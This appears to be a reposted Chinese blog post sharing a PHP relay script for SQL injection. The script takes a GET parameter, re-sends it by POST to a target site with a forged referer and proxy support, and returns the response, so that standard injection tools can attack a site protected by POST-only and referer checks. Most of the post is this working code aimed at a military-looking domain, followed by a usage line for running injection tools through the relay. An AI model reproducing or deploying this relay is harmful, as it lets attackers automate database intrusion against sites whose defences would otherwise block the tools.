POST+referer注入中转脚本

来源:互联网 发布:矩阵计算 第四版pdf 编辑:程序博客网 时间:2024/05/16 15:42
最近碰到一个站,只能POST数据,不能用GET,而且加了referer限制,所以一般的注入工个无法使用,当然cookie也不行。难道说要手工注入,那不累死才怪,突然想起php有curl可以POST数据,于是网上找来代码,修改一下,如下:
<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id); 
function curlrequest($url,$postfield,$proxy=""){
$proxy=trim($proxy);
$user_agent ="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$ch = curl_init(); // 初始化CURL句柄
if(!empty($proxy)){
curl_setopt ($ch, CURLOPT_PROXY, $proxy);//设置代理服务器
}
curl_setopt($ch, CURLOPT_URL, $url); //设置请求的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);// 设为TRUE把curl_exec()结果转化为字串,而不是直接输出
curl_setopt($ch, CURLOPT_POST, 1);//启用POST提交
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfield); //设置POST提交的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 25); // 超时时间
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);//HTTP请求User-Agent:头
curl_setopt($ch,CURLOPT_HTTPHEADER,array(
'Accept-Language: zh-cn',
'Connection: Keep-Alive',
'Cache-Control: no-cache',
'referer: [url]http://www.n3tl04d.mil/event.jsp[/url]' //定义referer,抓包就可以看到了
));//设置HTTP头信息
$document = curl_exec($ch); //执行预定义的CURL
$info=curl_getinfo($ch); //得到返回信息的特性
if($info[http_code]=="405"){
echo "bad proxy {$proxy}\n"; //代理出错
exit;
}
return $document;
}
$url="http://www.n3tl04d.mil/event_view.jsp";
$postfield="no=".$id;//参数
$proxy = '';
$str=curlrequest($url,$postfield,$proxy);
echo $str;
?>
保存为cc.php 把它放到一个支持curl的php空间,
再用工具注入[url]http://www.meme.love/n3tl04d.php?id=520[/url]
OK!